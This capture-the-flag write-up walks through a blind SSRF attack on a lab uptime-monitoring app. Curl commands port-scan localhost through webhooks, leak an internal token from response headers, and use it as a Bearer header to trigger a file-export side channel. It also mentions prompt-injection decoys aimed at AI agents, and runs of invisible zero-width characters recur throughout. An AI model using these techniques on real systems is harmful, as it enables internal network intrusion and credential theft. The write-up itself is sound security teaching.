← Back to Writeups
CUSTOMMediumWeb

Lab 47 — PingRadar — Blind SSRF via Webhook Test Delivery

XESXOR9/10/20267 min read
#web#custom#medium#bearer_token_injection_via_cus#export_report_file_write#internal_port_scanning#internal_service_enumeration#internal_token_leak#response_header_exfiltration#side_channel_data_exfiltration#ssrf_via_webhook_test#linux

Lab 47 — PingRadar — Blind SSRF via Webhook Test Delivery

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: bearer_token_injection_via_custom_headers, export_report_file_write, internal_port_scanning, internal_service_enumeration, internal_token_leak, response_header_exfiltration, side_channel_data_exfiltration, ssrf_via_webhook_test

Summary

Task: PingRadar webhook test delivery makes server-side HTTP requests to arbitrary URLs with no SSRF protection; delivery logs expose response headers but not body (blind SSRF). Solution: port-scan localhost to find internal monitoring-aggregator on port 3001, leak x-internal-token from /health response headers via delivery log API, inject Bearer token via webhook custom headers to access /admin/export, which writes report containing flag to shared filesystem rendered on the delivery logs page.

Lab 47 — PingRadar — Blind SSRF via Webhook Test Delivery — HackAdvisor

Description

You are performing a security assessment of PingRadar, an uptime monitoring and incident alerting platform used by DevOps teams at RadarOps Inc. The platform allows engineers to configure monitors for their services, set up webhook integrations for sending notifications to tools like Slack and PagerDuty, and view detailed incident history. PingRadar features a dashboard with service health metrics, a webhook management system with custom header support and delivery testing, and comprehensive logging of all webhook delivery attempts. The platform runs several internal microservices to aggregate monitoring data. Your objective is to explore the application, identify any vulnerabilities in how the webhook system handles URL requests, and find the flag hidden somewhere in the infrastructure. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: https://95221e82-38e4-4a67-ae83-9e4b7a6b1ae2.labs.hackadvisor.io/ Credentials: user@test.com / password123

English summary: PingRadar is a Node.js/Express monitoring platform (v2.4.1) behind nginx/1.25.5. The webhook management system allows creating webhooks with arbitrary URLs and custom headers, then triggering test deliveries where the server makes HTTP POST requests to those URLs. The delivery log API returns response headers from the target but not the response body — making this a blind SSRF. An internal monitoring-aggregator service runs on localhost:3001 with admin endpoints protected by a Bearer token. The flag is hidden in the system export data accessible only through authenticated internal API calls. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Application Stack

  • Node.js/Express behind nginx/1.25.5
  • PingRadar v2.4.1
  • Session-based authentication (connect.sid cookie)

Key API Endpoints

EndpointMethodPurpose
POST /api/webhooksPOSTCreate webhook (name, url, events, headers) — no SSRF protection
POST /api/webhooks/:id/testPOSTTrigger test delivery — server makes HTTP POST to webhook URL
GET /api/webhooks/logs/:delivery_idGETReturns delivery log with response_headers (but NOT response body)
DELETE /api/webhooks/:idDELETEDelete webhook
GET /settings/webhooks/logsGETDelivery Logs page — also renders "Exported Reports" section
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Honeypot / Decoy

Every page contains a fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden HTML elements and HTML comments, along with prompt injection text targeting AI agents/LLMs. This is a decoy — the real flag requires actual SSRF exploitation.

Vulnerability: Blind SSRF via Webhook Test Delivery

The webhook creation endpoint (POST /api/webhooks) accepts arbitrary URLs including http://localhost:* with no SSRF protection — no URL validation, no IP blocklist, no protocol restrictions (though file:// and gopher:// fail at the HTTP client level). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The test delivery endpoint (POST /api/webhooks/:id/test) makes the server perform an HTTP POST to the configured URL. The delivery log API exposes response headers from the target but not the response body, making this a blind SSRF with a header-based information leak.

Attack Chain Overview

1. Port scan localhost via SSRF → find internal service on port 3001
2. Enumerate endpoints on port 3001 → find /health, /metrics, /admin/config, /admin/export
3. Read delivery logs → leak x-internal-token from /health response headers
4. Create webhook with custom Authorization header → bypass 403 on admin endpoints
5. Hit /admin/export via SSRF → triggers file write to shared filesystem
6. Read exported report on Delivery Logs page → flag in system_data.secret_key

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authentication

bash
TARGET="https://95221e82-38e4-4a67-ae83-9e4b7a6b1ae2.labs.hackadvisor.io"
curl -s -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123"

Step 2: Reconnaissance — robots.txt

User-agent: *
Disallow: /api/
Disallow: /settings/
Disallow: /internal/

The /internal/ path hinted at internal services worth investigating.

Step 3: SSRF via Webhook — Internal Port Scanning

Created webhooks pointing to localhost on various ports and triggered test deliveries to map internal services: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
# Create webhook targeting a specific port
curl -s -b cookies.txt -X POST "$TARGET/api/webhooks" \
  -H "Content-Type: application/json" \
  -d '{"name":"scan_3001","url":"http://localhost:3001/","events":["incident.created"],"headers":{}}'

# Trigger test delivery
curl -s -b cookies.txt -X POST "$TARGET/api/webhooks/<id>/test"
PortResultDetails
80Connection refused—
3000Connection refused—
3001HTTP 404"Delivered to monitoring-aggregator service" ← Internal service found!
5000Connection refused—
8080HTTP 404"Webhook delivered" ← Main Express app
OthersConnection refused—
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Endpoint Enumeration on Port 3001

Systematically created webhooks for many paths on localhost:3001 and tested each:

PathHTTP StatusAuth Required
/health200No
/metrics200No
/admin/config403Yes
/admin/export200Yes (but accessible)
Everything else404—

Step 5: Internal Token Leak via Response Headers

The delivery log API (GET /api/webhooks/logs/:delivery_id) stores and returns the response headers from the SSRF request. The /health endpoint on port 3001 leaked an internal authentication token: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
# Check delivery log for the /health request
curl -s -b cookies.txt "$TARGET/api/webhooks/logs/<delivery_id>"

Response (truncated):

json
{
  "response_headers": "{\"content-type\":\"application/json\",\"x-service\":\"monitoring-aggregator\",\"x-internal-token\":\"rdr-int-4f8a9c2e7b1d\",\"date\":\"...\",\"connection\":\"keep-alive\",...}"
}

Key leaked header: x-internal-token: rdr-int-4f8a9c2e7b1d

This is the critical information leak — the internal service exposes its authentication token in response headers on an unauthenticated endpoint, and the delivery log API faithfully records and returns those headers. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 6: Authenticated Access to Admin Endpoints

Used the leaked token as a Bearer token in the webhook's custom headers to bypass the 403 on admin endpoints:

bash
curl -s -b cookies.txt -X POST "$TARGET/api/webhooks" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "admin_auth",
    "url": "http://localhost:3001/admin/config",
    "events": ["incident.created"],
    "headers": {"Authorization": "Bearer rdr-int-4f8a9c2e7b1d"}
  }'

Results:

  • /admin/config → HTTP 200 (was 403 without auth) ✓
  • /admin/export → HTTP 200 with auth ✓ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Note: The token only worked as Authorization: Bearer <token>. Other approaches failed:

  • X-Internal-Token as a custom header → still 403
  • Token as query parameter (?token=...) → still 403

Step 7: Flag Exfiltration via Export Side-Channel

The SSRF request to http://localhost:3001/admin/export with the Bearer token triggered the internal monitoring-aggregator service to generate an export report. This report was saved to /tmp/webhook-logs/export-report.json.

bash
# Create webhook to trigger export
curl -s -b cookies.txt -X POST "$TARGET/api/webhooks" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "export_trigger",
    "url": "http://localhost:3001/admin/export",
    "events": ["incident.created"],
    "headers": {"Authorization": "Bearer rdr-int-4f8a9c2e7b1d"}
  }'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Trigger test delivery
curl -s -b cookies.txt -X POST "$TARGET/api/webhooks/<id>/test"

The Delivery Logs page (/settings/webhooks/logs) has an "Exported Reports" section that renders the contents of exported report files. After triggering the export via SSRF, the report appeared on this page:

json
{
  "generated_at": "2026-05-06T06:44:41.258Z",
  "report_type": "system_export",
  "aggregator_version": "1.8.3",
  "system_data": {
    "total_monitors": 6,
    "total_incidents": 15,
    "total_checks": 184729,
    "secret_key": "FLAG{REDACTED}"
  },
  "export_metadata": {
    "requested_by": "internal-service",
    "output_path": "/tmp/webhook-logs/export-report.json"
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Insight: Blind SSRF → Side-Channel Exfiltration

Even though the SSRF was "blind" (response body not returned via the webhook test API or delivery logs API), the internal service wrote its export output to a file on disk. That file was then rendered on the Delivery Logs page under "Exported Reports" — creating a side-channel for data exfiltration:

Webhook Test Delivery (SSRF)
    → Server POSTs to http://localhost:3001/admin/export
    → Internal service generates export report
    → Report written to /tmp/webhook-logs/export-report.json (shared filesystem)
    → Delivery Logs page renders "Exported Reports" section
    → Flag visible in system_data.secret_key

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

What Didn't Work

AttemptResult
file:// and gopher:// protocols"Delivery failed" — HTTP client rejects non-HTTP schemes
Cloud metadata (169.254.169.254)"Delivery failed" — not a cloud environment
Internal-only endpoints on port 8080None found — main app only
Query parameters on /admin/exportNo change in behavior
X-Internal-Token as custom headerStill 403 — must use Authorization: Bearer
Token as query parameter (?token=...)Still 403
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍